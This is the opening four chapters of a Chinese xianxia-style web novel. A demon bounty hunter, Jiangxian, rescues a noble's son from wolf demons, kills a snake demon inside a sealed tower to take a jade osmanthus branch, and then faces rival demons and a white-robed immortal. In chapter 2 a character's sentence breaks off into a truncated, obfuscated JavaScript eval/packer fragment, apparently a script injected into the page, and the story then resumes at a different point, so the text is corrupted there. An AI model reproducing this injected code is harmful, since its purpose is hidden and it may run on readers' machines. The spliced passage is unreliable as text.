《发现病弱美人马甲后》 1. 绛仙 秋末冬初,夜凉如水。 凄凄惨惨的月光透过云层照在巨大的树冠上。 这棵银杏古树植于大觉寺后山,许是日日夜夜听寺里的和尚念诵经文,沾上了些灵气,即使临近入冬,这枝桠上叶片依旧茂密。 一阵风吹过明黄的叶片间飘出了一抹鲜艳惹眼的红,像是给这棵老树划开了一道深深的口子。随后一只手将那条红色的飘带收了回去,那只手白皙纤长,腕间还缠着一圈与发带同样颜色的红绳,衬得皮肤格外白亮。 那手的主人将发带收回后闲闲躺在一根粗壮的树干上闭目养神。 黑云被风吹散,露出一轮极圆满极亮眼的月亮。 月光洒在绛仙脸上,眼皮动了动后她缓缓睁开了眼睛。 那双极亮的眼睛盯着圆月看了一阵后利落地坐起身来,随即转头看向身后的高塔。 那高塔里头的,正是她今夜来此的目标——一枝玉质的桂枝。 出钱买这东西的人身份不明,出的价钱却是格外的高,从看到这个消息的时候绛仙就笃定,这笔钱一定是她的,也只能是她的。 即使有人说这雇主身份成迷,许是有所图谋她也没有丝毫退意。 在她看来与其花时间研究雇主是谁、目的为何还不如多接一个单子。 只要对方能如约给钱,管他是神仙还是乞丐,管他要造福一方还是毁天灭地。 圆月东移,时间…… “啊!!!” 绛仙正估算着时间,却听不远处的林子里响起一声撕心裂肺地惨叫,如同魔音贯耳,惊得鸟群四散奔逃。 忽被打断了思绪,绛仙颇为不满地看向声音传来的方向。 “救命啊,杀人了!有没有人啊,救命啊!!!” 几近撕裂的呼救声让绛仙忍不住皱起了眉,她本不想管别人的闲事,奈何这人叫得实在太吵,听得她一阵心烦。 抬头望月,时间还早。 于是,她跃下树干,借着脚下连成一片的枝干循着声音奔去。 离得近了,那声音反倒是消失了,或许是喊累了吧。 绛仙找了处平稳的地方落下,只见不远处有什么东西在蠕动。 她走近一看,发现那是一个被绑在树上的男人。他的头被黑袋子套着不知长相,但单从他的身形来看像是一个少年,还是一个被养得极好的少年。 绛仙不禁挑眉:哟,新雇主。 似乎是听到了来人的脚步声,那少年又尖叫了起来。 “滚开啊,滚开!你知不知道我是谁?我可是谢家的二少爷,我爹乃是前朝将军,护国有功官拜二品,你若是伤了我,我哥还有谢家是绝对不会放过你的!” 这一番算不得威胁的威胁让绛仙感到一阵好笑。 家门报得这么清楚,是生怕别人找不到地方去要钱吗? 绛仙轻轻笑了一声,换来少年更尖锐的叫喊,呕哑嘲哳,继续听下去简直是在侮辱她的耳朵。 旋即,她右臂一震,冰凉的事物滑过手臂然后被她握在手里。 下一瞬,那事物的顶端就被抵在了少年额前。 叫声戛然而止,他竟是连动都不敢动了。 “脑子不好使大晚上出来送死我不怪你,大喊大叫地扰人清梦就不对了。” 听到绛仙的声音,少年呆愣了一下。 绛仙以为他是被吓到了,生出些恶趣味来。手腕轻轻旋转,抵着少年额头的玉杖隔着黑布一点一点在他皮肤上研磨。 她当然知道这感觉并不好受。 但她还是恶劣地添了些力气,语调上扬:“怎么,吓到了?” 可是这人不知道是被吓傻了还是别的什么,半晌没有再说话。 等了不过片刻,绛仙就失去了兴趣,抬眼看看即将要升至头顶的月圆,她手腕翻飞,玉杖一挑就把少年脑袋上的黑布给掀到了一边。 一点声音都没有,没意思。 重见光明的少年深呼吸一下后开始借着月光打量面前的少女: 她的身量不高,身形却很完美流畅,着一袭显眼的红色外衫,内里却是如雪般白净。 其上,则是一张一眼讨喜的娇面,奈何那双清亮的鹿瞳中盛满了桀骜不驯的锐气,让人不敢逼视。 对上绛仙的眼神后少年明显顿了一下,迅速移开视线往别处看去,又见少女身后长长的红色发带随风飘动,耳畔的小辫子里也藏着同色的红绳。 “咳……” 少年脸颊一红,有些害羞地低下头。 扭捏道:“在下谢如恙,不知姑娘姓名?有缘得见,不如交个朋友?” 绛仙抱臂看着他,轻哼一声:“谁要和你做朋友?” 一盆冷水没有浇灭谢如恙的热情,他继续道:“救命之恩,在下无以为报……” 绛仙直白道:“谁说我要救你了?” 少年被打断了话也不恼,继续热情夸赞:“那姑娘也是路见不平,也当相谢。” 见这人听不懂话又不依不饶,绛仙只当他脑子有问题,留下一句有病转身就走。 一阵风吹过,谢如恙打了一个寒颤,提起衣摆小跑跟在绛仙身后。 绛仙道:“我很忙,别跟着我。” 谢如恙嘻嘻笑道:“这么晚了,姑娘一个人在这林中行走怕是不安全,不如让我保护你吧?” 闻言,绛仙嗤笑一声:“保护我?我活了这么多年,还没有一个人敢说保护我的,你很强吗?” 谢如恙自知自己手无缚鸡之力,保不准遇到个山贼就把他给掀翻了,所以他又换了个说法:“那我们一起走,也能有个照应嘛!” 忽的,绛仙停了下来。 谢如恙一阵惊喜,道:“你同意了?” 绛仙转过头似笑非笑地看着他,那只莫测的玉杖带着凌厉的寒气再一次抵在了他的面前。 他看看绛仙,又看看玉杖,开朗赞道:“好玉!细腻温凉,想必价值不菲!” 绛仙微微歪头,语气不善:“我说了,我很忙,最好,不要跟着我。” 最好两个字被咬得极重,谢如恙不住颤了一下额角渗出些冷汗,也挤不出来笑了,颤颤巍巍地道:“不一起就不一起嘛,没必要因为这个就杀我了吧?” 绛仙双眼死死盯着他,吐出一个字:“让。” “什么?” 只消谢如恙愣神的片刻,她手中的那只玉杖就忽的从中间断开,刹时成了两把锋利细长的玉剑,绛仙手中握着一把玉剑的剑柄,指向谢如恙身后密林,另一把玉剑则如同生出意识一般擦着他的脖子飞出,直直往他身后的树林飞去,隐入黑暗。 玉剑飞过脖颈的时候带着一丝凉意。 谢如恙反应过来后迅速捂住脖子,动动脑袋,确认自己的脑袋没有搬家后才松了一口气,可不过片刻他的心又提起来了。 因为随着那把玉剑飞出树林的还有一群面生长毛,高大壮硕的妖人——正是几个时辰前把他绑起来的那些狼妖! 谢如恙往后一跳,下意识地相信身边的少女会保护自己。 绛仙接住玉剑,眼神扫过面前众妖,最后将目光落在了其中一只二丈有余的狼妖身上。 那狼妖看起来修为不低,应该就是这群狼妖之中的领头狼王。 “我不想重复第三遍。” 狼王上下打量了一番,见这丫头年龄不大口气却不小,笑道:“初出茅庐的黄毛丫头还敢命令我?念你年纪尚小我不怪你,交出你身后的小子,饶你不死。” 绛仙向来是个吃软不吃硬的性子,但凡狼王不说前头那几句,她还真有可能不管这件事,可偏偏,他要威胁。 “饶我不死?”她随手挽出个剑花,“你有这个本事再说吧。” 绛仙向来信奉一个真理:如果有人不服气,打一顿,自然就服气了。 而且,她最讨厌别人小瞧于她! 剑光一闪,甚至没给对面反应的机会,她就先发制人提剑上前。 她的招式又快又密,每一剑都精准朝着命门刺去,熟悉老道,竟是比久经沙场的将士都要胜上十分。 几招过去,狼王顿觉不妙,他完全无法从这般狠厉又锐气的招式中挣脱开来,纵使他有排山倒海的力气此刻也使不出来一招半式,只能被迫防御。 而且这少女所用招式在猛烈进攻时竟是什么都不顾及的,将自己的命门全然暴露在敌人面前,只要她失手片刻,那就是死路一条。 换言之,这是一种就算自己会死,也要扒掉敌人一层皮的打法。 可谓是拼命至极,又嚣张至极。 思绪飘散的半刻间,那把绝非凡品的玉剑就抵在了他的咽喉处。 见首领受困, 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“我们可是朋友啊!”谢如恙眼中带上了泪光。 “朋友?”绛仙笑一声,“我们什么时候是朋友了?” “刚刚你救了我,我们还说了话!”谢如恙不停解释着,绛仙抬头看看月亮后道:“说话就是朋友了?那我问你,我是谁?” “你是……” 这回谢如恙是真的想哭了,方才自己报出了自己的名号,可偏偏忘了问这姑娘的名字,若是她不相救凭自己这细胳膊细腿的,怎么可能从这些狼妖手底下活下来? 难道今日就是他的死期了? 不不不,谢如恙用力地摇摇头,慌乱之下抓起腰间的玉牌,道:“求求你了,救我一命。我家很有钱的,你拿着这个玉牌去汴京谢府,你要多少钱我给你多少钱。” “哦?”绛仙带着笑看向他,重复一遍,“要多少给多少?” 谢如恙用力点头:“对!” 绛仙侧头看了狼王一眼,收回玉剑后缓缓朝谢如恙走去。 走到他身边,接过玉牌,那只带着凉意的手搭上他的肩膀,“那你跑吧。” 闻言,谢如恙先是看了张牙舞爪的狼妖一眼,然后小心翼翼地往后退了几步,对绛仙报以感激的眼神后转身撒腿就跑,那速度堪称一骑绝尘。 “你!”狼王愠怒却不愿与绛仙再起冲突。 没想到绛仙却是摊开了手,催促道:“愣着做什么?我好像也没拦着你们吧?追啊。” 说罢,她将玉剑插回剑鞘,隐入袖中,挥一挥衣袖要走。 围在一边的那些小妖们闻言都一窝蜂地去追谢如恙,唯有狼王站在原地紧紧盯着绛仙。 半晌,他低沉道:“你也是妖?” 绛仙面色不改,反问道:“有问题?” 狼王神色逐渐复杂,但绛仙并没有给他再多说话的机会,转身就走。 虽然两人不将话说明白,但心中都明白:有问题。 是妖,就是最大的问题。 如今的世道,妖是最为卑微低贱的东西。 仙有仙山,魔有魔窟,唯有妖居无定所,只能在人间四散流亡。 对于世人而言,妖的地位和牲畜没什么区别,却要比牲畜更危险更难把控。 于是,人人恨妖,人人猎妖。 有少部分大妖可以凭借实力占山为王,招揽没什么能力的小妖安居一隅,而更多小妖修为低微又无大妖保护,无法自保最终只能被抓捕入狱,妖丹磨粉制药,皮毛缝制做衣,甚至有些王公贵族豢养妖物,以供取乐。 总之,妖要在这世上生存难之又难,只能在夜中外出,避免被人发现。 可绛仙却是个异类,她完全没有妖的外在特征,也没人能感受到她身上的妖气,就连作为同类的狼王也没能一眼发现她的身份。 然而,就在这样易于伪装的优势条件下,她竟然完全没有要掩饰妖物身份的意思。 好生孤勇。 在绛仙快要离开这片林子的时候,身后响起了狼王的声音:“既是同类,不知阁下姓名?” 绛仙没有回头,只是抬手摆了摆: “绛仙的绛,绛仙的仙,绛仙。” 2. 高塔 告别了狼妖,绛仙回到了一开始的那座高塔前,此时月光正照射在塔上,显出塔壁上鎏金色的涂漆。 她从怀中拿出一张符纸,握住手掌再张开后这符纸就成了粉末,轻轻一吹便朝着高塔飞去。 惨白的月光下,这些粉末仿佛化作流萤,就算没有风的加持也能自觉地跃动飞舞。 不消片刻,高塔内部传出了咯吱咯吱的响声,几个呼吸之间,那两扇紧紧闭着的朱红大门就缓缓打开了。 黑洞洞的内部不知还藏着什么骇人的东西,是个人看了都会望而却步。 但绛仙不会,因为她是妖。 绛仙拍拍残留在掌心的粉末,正准备出发却听到背后响起一道熟悉的声音:“姑娘!留步姑娘!” 又是那个姓谢的呆子? 绛仙不由眼皮一跳,想要飞身入塔甩开他,没想到谢如恙先一步扯住了她的衣摆。 “放开。”绛仙道。 谢如恙摇摇头,攥得更紧:“我不要。” “再不放开就别怪我动手了。”绛仙发出最后一次警告。 谢如恙却是个死赖的,继续摇头道:“我不放,你这姑娘说话不算数,分明答应过我要保护我,却还是任由那些狼妖抓我。” “我什么时候答应你了?我只是确认了一遍你说的话而已。”绛仙扯回自己的衣摆。 发现自己被骗了,谢如恙看着绛仙手中把玩的玉牌质问道:“那你为什么拿我的玉牌?” “你也没说过拿了你的玉牌就要接受你的委托吧?”绛仙忽的将玉牌收起,谢如恙扑了个空。 随后,他变本加厉地抓住绛仙的胳膊:“那我再给你点钱,买你今天晚上保护我。” “一手交钱……” 没等绛仙说完,谢如恙就一把扯下自己额间的翠色抹额放在她手里,“这个是信物,你拿了就得按我的要求做事!” 现在谢如恙才意识到,面前这个看起来人畜无害的少女其实是个赖皮鬼!被骗了说不过打不过也罢,还偏偏……生了张让人不忍心说重话的脸。 绛仙看看手中镶着大颗翠玉的抹额,而后视线落在自己被死死抱住的手臂上,明显不悦。谢如恙注意到了她的表情,有些发怵,但为了自己的安全考虑还是不敢放手。 “可我很忙,要完成其他雇主的委托。”绛仙只好退一步。 “那我跟着你一起,我交钱了,你不能毁约。”谢如恙不介意多走几步路,只要让他远离那些狼妖就好。 事已至此,绛仙也懒得和他在这儿扯皮了,最后问一句:“很危险的,你确定?” 谢如恙毅然点头:“确定。” 反正有信物在手,她必须得保护好自己,万万不能让他丢了小命。 绛仙盯着他看了半晌,露出个友善的微笑来:“好,那我们走吧。” 谢如恙欣喜若狂,扯着绛仙的袖子就要往塔里走,但没过多久他就后悔了。 塔里没有灯,黑漆漆一片什么都看不到,失去视觉,耳边偏偏又响起一阵诡异的号叫,也不知道是什么东西发出来的。 只走了几步,他就放开了绛仙的胳膊,对她道:“不然我在塔外面等你吧?你动作快点。” 绛仙没有反对,轻扬下巴,“好,那你出去。” “好嘞。”谢如恙提着衣摆笑呵呵地跑了出去。 绛仙也没急着走,手掌开合间托起一团焰火,下一刻谢如恙又苦大仇深地挪了回来。 “又改主意了?这次真的确定了?”绛仙带着不出所料的笑看向他。 “我还是觉得你一个人在这里很危险,我们两人一起也能有个照应。”谢如恙说得言之凿凿可下一瞬就被塔内传来的怪声吓得一蹦三尺高,下意识就要往外跑,边跑还边喊道:“不确定不确定了!” 可这一次他却没能成功跑出去,塔门被关上只听砰的一声,谢如恙顺着门软趴趴的滑下。 “不确定也没机会了。”绛仙丝毫不隐忍笑意,毕竟这人实在是太好笑了。 她行走江湖两年见的都是些心思细密,谈笑间就要人性命的危险人物,聪明人见多了偶尔见一次蠢货也挺有意思的。 “我还能出去吗?”谢如恙趴在门上,完全失去了活力,仿佛下一瞬就要枯萎了。 “当然不能。”绛仙直接斩断了他最后的希望,转身向更深处走去,“那我走了,你自己一个人待着吧。” 光源跟着绛仙一起离开,谢如恙感受到逐渐吞噬自己的黑暗牙关不住打起颤来。 他一骨碌翻起来,快步跟上绛仙的步伐,认命般道:“我还是和你一起走吧。” 谢如恙扯着绛仙的袖子,两人一起往更深处走去。 这塔有八层,每两层之间的连接处都有一段弯曲的长楼梯,这楼梯是用木头镶嵌在塔壁之中建成的,每块木头之间还有空隙。绛仙手中的火焰算不得亮堂,只能照亮面前的一小块,以供看清前路。至于脚下就不在她的关注之内了,不需要。 可谢如恙就难受了,灯光微弱看不清脚下,一个不在意就能踩空,再加上耳边的怪叫声吓得他双腿打颤,上楼梯的每一步都像是走在刀尖上一样。 好不容易走到了第三层,谢如恙感受着脚下踏实的地面长舒一口气。 “我们要上到第几层啊?” 绛仙答道:“第八层。” “第八层?!”谢如恙声音都变了调,那就是说他还要像刚刚一样走五次?! 一阵腿软后,他又问:“你这究竟要找什么?这么费力气?” 绛仙威胁道:“你最好什么都别问,如果真的让你知道了我可就要按照雇主的指示杀你灭口了。” “那你还带着我一起?!”谢如恙深吸一口气:谋杀,这简直就是明晃晃的谋杀! “不是你要跟着我吗?”绛仙见他被吓得不轻,生怕被他拖了时间,只好改口道:“行了行了,你们一会儿到了第八层你就吧眼睛给闭上,看不到就行。” 闻言,谢如恙松了口气,庆幸道:“那就好那就好。” 休整片刻两人继续往上走,一连上了三层后绛仙突然发问:“那些狼妖为什么要抓你?” 想到这个,谢如恙一阵后怕,即使如此他还是绘声绘色地讲述起自己的经历: “世人皆知这大觉寺许愿灵验,我家中又有一位病弱的兄长,兄长待我如同手足一般呵护,我心疼于他的病体,于是便来此为兄长祈福,求他能康健。为此,我还带了一队人马为寺庙添香油钱,以表诚意。” 故事急转直下,“然而,就在我诵经拜佛后,前往后山祈愿树的路上挂上,突然吹起一阵风!我定睛那么一看,就看到那阵风如同黑云一般遮天蔽日,众人惊慌失措下四处流窜,而我!作为谢府二公子自然是要承担起保护众人的职责,所以我唰的就冲了上去,挡在众人身前,没想到难以对抗那阵黑风,最后惨被那些狼妖掳掠。” 谢如恙说得痛心疾首,连连叹气:“之后就是你看到的那样了。” “他们应该是单单冲着你来的,不会伤别人吧?”绛仙戳破了谢如恙讲的舍己救人的英雄故事,追问:“你究竟做什么了?能让那狼王对你如此愤恨?” 眼见被戳破,谢如恙嘿嘿笑了几声,声音小了下来:“主要还是我做了一件好事。” 好事?绛仙挑眉:“说来听听。” 谢如恙斟酌片刻后神神秘秘凑到绛仙身边,低声道:“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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她道:“勇敢的有情人?感人的爱情?你就没想过要是那狼妖的身份被人发现了怎么办?日后的生活又该如何?像过街老鼠一样被人人喊打吗?再说,人能活多久?百年都算多的了吧,狼妖呢?千年有余,你就没想过那个男人垂垂老矣了两人该如何相处,男人死了那狼妖又要如何让生活?” 几问下来,绛仙确定道:“那狼王打你都算轻的了,要是换我一定得扒了你一层皮!” 听了绛仙的话,谢如恙好像陷入了思考。 他好像真的没想过这对小夫妻日后要怎么办,就是脑子一热帮了人家的忙,要是真的因为这件事毁了那两人的后半生,那就真的罪过了。 原本以为做了好事,没想到是当了搅屎棍,谢如恙心中一阵低落,脚下也一拌砰的一声摔在地上。 绛仙停下来看他:“怎么?知道自己做了坏事想摔死自己谢罪?” 谢如恙从地上爬起来,表情有些丧丧的,“那我岂不是好心办坏事了?” 绛仙懒得安慰他,肯定了他的话后继续往上走。 此时,两人来到了第七层。 “诶呦!”谢如恙垂头丧气地跟着绛仙往前走,没注意到脚下,又在楼梯和地面的连接处拌了一下。 “别想了,看路。”绛仙催促道。 谢如恙也打起了精神,想着先从这里出去再想办法补救。 可是没走多久,谢如恙又感到脚下不对,好在这次有提前防备没有向前两次一样摔倒。 站在地面上后,绛仙突然停住了。 手中的火焰摇曳,映出一张面色凝重的脸。 第三次了…… 她来到这个地方,第三次了。 “这里是第几层?”绛仙问。 谢如恙一直闷头跟着绛仙走,没怎么注意,猜测道:“走了这么久,应该是第八层了吧?” “不对。”绛仙斩钉截铁道,“这里,是第七层。” 3. 青蛇 “从刚刚到现在,我们一直都在六层和七层打转,从来都没有到过第八层。或者换个说法……”绛仙顿了一下,“我们到不了第八层。 突然的一句让谢如恙毛骨悚然,他搓了搓胳膊靠近绛仙问:“啊?那我们怎么办?还能回去吗?” 绛仙摇摇头,“回不去了。” 谢如恙顿时心如死灰,脱力般靠在墙边,带着哭腔道:“难道我们今天就要死在这儿了吗?我出来的时候还没和我哥告别呢。” 绛仙将手中的火团放得更大,将第七层全部照亮。 谢如恙本来在萎靡地扣着墙皮,得了亮光后眼前突然冒出个人脸来,他往后大跳一步喊道: “鬼啊!” 绛仙闻声看去,只见他靠着的那面墙壁上正画着一幅栩栩如生的八仙图。 空荡荡的塔里竟然会有一幅壁画,还画得如此精细? “八仙图?”谢如恙也缓过了神来,盯着那幅八仙图看。 绛仙徐徐走上前,伸手摸了摸这幅壁画,涂漆已经褪色,还有不少地方墙皮开裂,看样子这幅画已经存在了很长一段时间了。 谢如恙一拍手掌,一脸恍然大悟:“我想起来了,我之前听说书的说过这塔。” “哦?说了什么?”绛仙问。 “很久很久以前,这山的周围出现过一只大妖,不论樵夫猎户还是过路人,只要进入这山中就会被它给吃得连骨头渣子都不剩,众人苦妖物侵扰许久,直到大昭开国皇帝来此将那大妖囚禁与塔内,并且以八仙图封之,让它不得外出作乱害人。” 这不过是一个十分老套的英雄传说,作恶的妖孽,受苦的百姓,路过出手相助的英雄,广为流传后将那位英雄捧上神坛。 “你说那大妖,是个什么妖?”绛仙伸手触摸壁画,不愿意放过一点细节,手指从每个人像上滑过,铁拐李、汉钟离、韩湘子、何仙姑…… 谢如恙挠挠脑袋,“我也不知道,就知道是个妖怪。” 当来到那位提着花篮的道君面前时,绛仙停了下来。 “我知道是什么妖了。” “什么妖?”谢如恙好奇道。 绛仙将整个手掌贴在花篮上,将灵力汇聚于掌心,下一瞬绛仙的回答和从墙壁中传出的尖叫声一起响起: “蛇妖。” 蛇妖从壁画中显形,谢如恙被这条十余米长,粗壮如老树还张着血盆大口的青蛇给吓了一大跳,说话都结巴了:“蛇……蛇啊!” 这塔中空荡荡的,没有一处能供他躲避,思前想后还是绛仙身后最安全一点。 谢如恙颤抖着揪住绛仙背后的衣带,绛仙侧目道:“你抓着我我怎么打?” “那我放手了,我怎么活?”谢如恙颤颤巍巍地道。 绛仙无奈地转过头,对上那双金黄色的竖瞳,了然道:“我说怎么一直绕圈呢,原来是条蛇啊。” 大蛇嘶嘶吐着信子,仿佛对这两位自投罗网的食物势在必得。 “它冲过来了,躲躲躲!”谢如恙紧张地喊着,绛仙却一动不动,冷静回问:“你想躲哪儿去?” “那你总不能和它硬……” 硬碰硬三个字没说完,谢如恙就感到身体一阵腾空,冰冷锋利的蛇鳞擦过手背,他刹时起了一身的鸡皮疙瘩。 蛇的体型太大,吓人是吓人,但是在这样狭小的空间里要发挥出自己的实力可不容易。 笨重的蛇身扫过每一个角落,绛仙都带着谢如恙一一躲过。 谢如恙被甩来甩去,时而头朝下,时而擦地而过,有些时候甚至倒挂在顶上学蝙蝠,经历这些后他得强撑着才不会吐出来。 几个轮回下来,大蛇也意识到自己的招式不对,停顿片刻后竖瞳一颤,紧接着它便将自己的蛇尾舒展沿着墙壁开始围成一圈,准备将两人围住后生生绞死。 绛仙发现了它的图谋,再次唤出玉剑,可却迟迟没有动手,因为她发现一个至关重要的问题: 她完全找不到这条蛇的命门! 这塔内没有光亮,蛇妖被关了这么久早就适应了这里的黑暗,可她无法一边托火球一边和蛇妖颤抖,就算是视力再好也不可能在完全黑暗的地方找到方向。 “它好像想把我们给勒死,怎么办啊?”谢如恙明显感觉到自己周围的空间越来越逼仄,甚至有些无法呼吸。 绛仙定下心来,在黑暗中扫视一圈,在看到大蛇那双鎏金色的竖瞳时心中有了决定。 打蛇打七寸,只要她能确定七寸的位置就能送这条长虫归西。 于是,她手握一剑,冲着大蛇的眼睛刺去。大蛇似乎反应有些迟钝,又或是不认为小小的猎物能伤到自己,所以等到剑刺入眼睛的时候它才感觉到痛。 这一刺算是彻底惹怒了大蛇,它也不想像往常一样折磨完食物后再细细品味食物的味道了,它现在只想将这个伤它的恶人碎尸万段! 愤怒的哈气声仿佛能够穿透耳膜直直戳进脑子里去,谢如恙双腿一软直接坐在了地上。 绛仙见它开始恼羞成怒,唇角勾起一抹笑。 成功了…… 大蛇借着完好的那只眼睛追踪绛仙的位置,蛇口张开露出又尖又长的毒牙,想要直接把绛仙串在毒牙上。 可是绛仙没给它这个机会,足下轻盈一跃,大蛇完全碰不到她的一根头发。 带着蛇头在周围走了一圈,借着那只眼睛微弱的光绛仙总算是找到了七寸。 猩红的大口直直冲过来,她反应极快,将玉剑插入下颚,死死卡住了蛇口,紧接着唤出另一把玉剑,在大蛇与口中异物作斗的时候狠狠将剑刺向它的七寸。 噗呲一声,没有她预想中的鲜血喷涌,而是从大蛇的身体里飘出一颗黯淡的珠子。 这颗珠子有鹅蛋大小,圆润光滑,在大蛇彻底失去气息后稳稳落在了她的手里。 绛仙眸光沉了沉,将这颗妖丹收了起来。 “喂,你还活着吧?”绛仙问。 谢如恙费力搬开大蛇的尾巴,呈大字躺在地上,深吸一口气后道:“压死我了……能不能拉我起来?” 绛仙摇头,“自己起。” 谢如恙经历了生死时刻也乏力到不想说话了,等调整好了呼吸才跌跌撞撞地从地上爬起来。 “对了,我刚刚看到那条蛇的身子里飞出来一颗珠子,那珠子去哪儿了?”安静了一会儿后,谢如恙还是没能忍 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看样子这是个用来存放杂物的地方。 “你说要找的东西在哪儿?难不成就是这些符纸?”谢如恙随手捻起一张落了灰的符纸,仔细观察了一会儿,露出一个嫌弃的表情。 要是绛仙真为了这些符纸费这么大力气那可太亏了!他随手画的都比这些好看! “当然不是。”绛仙不知从哪里拿出一个小瓶,打开塞子后将瓶中的东西倒在地上,不过几个呼吸之间那被倒了东西的地方就长出一个小芽来。 谢如恙觉得新奇,刚刚凑上去就见那小芽猛得长高变粗,他躲闪不及又一次被掀翻在地。 可这一次他没有叫唤疼,而是一眨不眨地盯着面前的桂树。 这桂树的枝干像是玉做的一样,晶莹剔透,周身散发着如月华一般的光泽。 实在是…… “太美了……”谢如恙不由夸赞。 玉桂树长到两尺左右的时候就停下了,顶端的那根桂枝相较于其他地方而言更加亮眼剔透,看起来这就是她今晚要找的东西了。 绛仙飞身将那支玉桂折下,剩余的枝干瞬间就失去了颜色黯淡下来。 谢如恙心中可惜,还没等他问为什么就感到身子一晃,紧接着就是一阵剧烈的震动。 绛仙刚刚舒展开的眉头再一次紧皱,做出战斗的姿态:“有东西来了。” 谢如恙也背后一凉,绛仙刚刚说的不是人,是……东西? “妖、妖怪吗?”他问。 绛仙没有回答,单手将他从地上拎起后破开墙壁一跃而下。 看着逐渐逼近的地面谢如恙大喊大叫:“要摔死了!!!” 最终还是没有如谢如恙所愿两个人稳稳地落在了地上没有摔死也没有缺胳膊少腿 ——这是在谢如恙被一条断腿砸到后惊慌失措检查完自己全身后才得出的结论。 谢如恙惊恐地将断腿丢在一边,一转头就见一个巨大的身影朝自己砸了过来。 他脑中迅速闪过一个念头:完了,没被摔死要被砸死了。 4. 重逢 巨大的黑影逐渐接近,谢如恙下意识地闭上了眼睛,等了许久,预想中的疼痛没有倒来,他才小心翼翼地睁开了眼睛。入眼便是一片遮天蔽日般的阴影,转过头,只见绛仙正单手拖着即将压下来的狼王,秀眉微微蹙起。 “力拔山兮气盖世啊!”谢如恙情不自禁的发出感叹。 绛仙施力将狼王扶起,可没站多久他就又一次倒了下来,双膝跪在地上的时候方圆几里的地面都震了三震。 “怎么回事?”绛仙问。 狼王吐出一口黑血,调整好紊乱的气息后道:“不知何处来的妖物想要强行闯入此山,我手下小狼阻止竟被他们扒皮饮血,可恨我功力不够无法为那几只小狼报仇……” 话音刚落,林中就唰唰窜出十多个黑影,有被砍掉半颗脑袋的老鼠,有只剩下半身的躯干,还有青面獠牙的鬼面、被泡得浮肿的水鬼……各个凶神恶煞,双眼放光地盯着绛仙。 那老鼠嘴边还沾着血迹,声音尖细刺耳:“绛仙,把玉桂枝交出来!” 绛仙轻笑一声,连动都没动一下:“不是说怕危险不敢过来吗?怎么我一拿到东西你就像是老鼠闻到了腥味一样围上来了?……哦,我忘了,不是像,你就是一只恶心的死老鼠。” “你!”老鼠绿豆大的眼睛里几乎要喷出火来,他怒喝道,“废话少说,交出玉桂枝,否则你们就别想从这里离开!” “你不会以为多叫几个帮手就能打赢我吧?不自量力。”绛仙甩出玉剑,正要上前却见身边的狼王先一步闪身上前。 如山一般高大的身体挡在两人面前,与敌人缠斗的间隙,他大声对绛仙二人喊道:“我今日定要为那些被他们杀害的孩子们报仇雪恨,你们快走!若是我今日死在了这里,还请你们帮我照看好我家珠儿!” 狼王本就不剩多少功力,如今面对敌人的撕咬进攻也只能堪堪做到防御,尽管如此他还是要挡在两人面前。 绛仙也不知道他为何要这么做,分明只见了两面。 “我们快走吧!”谢如恙拉着绛仙的胳膊催促她快走,狼王好不容易争取来的时间,若是再不走可就对不起他了。 虽然谢如恙对狼王还是有些恐惧,但仔细想想他好像也只是一个害怕女儿涉险的父亲而已。 “走啊!” 谢如恙用尽了全身的力气去拉绛仙,可她还是岿然不动,一直面无表情的看着面前的混战。 狼王果真没能坚持太久,最后还是体力不支向后倒去。 绛仙猛得甩开谢如恙的手,足下轻盈一跃后飞身上前,在狼王倒下之前托住他的身体,将掌心的符纸狠狠拍在他的后颈上,她道:“才见了两面而已,你倒也不必如此相信我。而且我最讨厌的就是求我办事不给报酬的人,你自己的女儿,自己照顾!” 话音落下,狼王被这道巨力震住,单膝跪地。而绛仙此刻正站在他的肩头,俯视地上的十几位气喘吁吁的“同僚”:“这就累了?现在才刚刚开始呢。” 轻飘飘的一句话再次激起了他们的斗志,老鼠振臂高呼:“兄弟们,我们一鼓作气杀了她,事后得到的报酬咱们平分!” 一石激起千层浪,众妖都兴奋起来,高呼道:“杀了她!杀了她!” 绛仙缓缓握紧玉剑,后背的红发带随风飘动,猎猎作响。 “今天真是个活动筋骨的好日子啊……” 以少胜多、以小博大从来都是她的拿手好戏,甚至用不到几个来回就能让对面军心溃散、毫无还手之力。 只是这一次却出现了一个意外: 正当两方酣战之时,从天外飞来一把剑,不偏不倚地插在绛仙面前的地上。 绛仙反应迅速一个翻身就躲开了正在震颤的剑气,可那个没有脑袋的躯干就没这么幸运了,冰冷刺骨的剑气在他体内冲撞,不过片刻他的身体上就结满了冰晶,这些冰晶像是一根根细密的银针一般时时刻刻刺着他的身体,叫他苦不堪言。 这突如其来的变故让在场众人都愣了一下,绛仙心道不妙,正要带着玉桂枝先一步离开却见这冰剑的主人踏月而来。 白衣冉冉、丰神俊朗,像是高山之上最干净的那一片雪,连最微小的浮尘都不忍染指他的一丝一毫。 谢如恙躲在狼王身后,痴痴感叹道:“这是神仙吧?” 狼王瞥他一眼,他顿时如惊弓之鸟一般闭上了嘴。 “玉桂枝在那儿!抢!”愣神过后,老鼠看到那支玉桂不知何时飘向到了半空,徐徐向着那白衣人飘去。 此话一出,众妖霎时热血沸腾,争先恐后地往桂枝的方向奔去,他们推搡着对方,生怕那桂枝落在别人手上,形状和颜色各异的眼睛里闪着同样贪婪的光。 绛仙也顾不得远离那个白衣人,一剑拦住其他妖后伸手去够那支玉桂,可就在她指尖感到凉意的时候这支桂枝却突然转了个方向,打了个转后朝着谢如恙飞去。 速度极快,在场众人都没来得及反应就停在了谢如恙身边。 谢如恙惊奇地长大了嘴巴,下一瞬,那桂枝就这么轻飘飘地进了他的嘴,然后…… 被他吃了?!!! 绛仙脸上少见的出现了空白。 就这么……被吃了? 这时,那位白衣仙君才缓缓落下,负手立在剑柄之上,不带一丝感情的视线扫过在场的人和妖,最终在绛仙脸上停下。 “你……” 话没来得及说出口,被冰剑伤到的躯干就迈着大步冲上来要给自己报仇,白衣人轻盈飞起,慢条斯理地收回剑,那躯干扑了个空。 趁着白衣人被躯干缠住的空隙绛仙扶住被桂枝灵气冲撞晕倒的谢如恙,随后看向等在一边的狼王。 狼王自然也察觉到来人身份非凡,得到绛仙肯定的眼神后迅速转身隐入林中离开。 